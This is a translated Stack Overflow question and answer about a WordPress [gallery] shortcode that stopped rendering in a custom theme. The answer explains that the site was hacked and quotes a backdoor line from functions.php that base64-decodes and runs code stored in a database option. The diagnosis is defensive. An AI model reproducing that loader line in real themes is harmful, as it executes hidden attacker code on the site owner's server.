一切都很好,直到最近更新。 [gallery]不再显示图像,并且看起来也不包含在代码中。

这是页面的循环:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php
    // End the loop.
    endwhile;
?>

来自the_content的文本内容正在显示,但是内容中的[gallery]没有显示也没有呈现为代码(因此,问题不应该在javascript中)。

这是functions.php文件:http://pastebin.com/vfJpphgt(是的,我已经添加了对画廊的主题支持,但没有任何变化)

最佳答案

您的网站被黑了。

pastebin的最后一行是从数据库中加载恶意代码:add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
执行的代码将使WPQuery困惑,以检索您的Gallery媒体文件。这就是[gallery]损坏的原因。 (实际上,您可以对此感到幸运。)

您可以在sucuri.net上找到有关此恶意软件的条目。您应该检查服务器上的所有文件是否存在可疑行。尽管最可能的攻击途径是通过WordPress漏洞,但您应该在WordPress和服务器上更改所有密码。

删除恶意软件后,您可以使用Wordfence之类的工具清理WordPress(我与该插件或其作者没有任何隶属关系)。

关于php - 默认Wordpress [图库]未显示在自定义主题中,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/31267336/

10-14 15:08
查看更多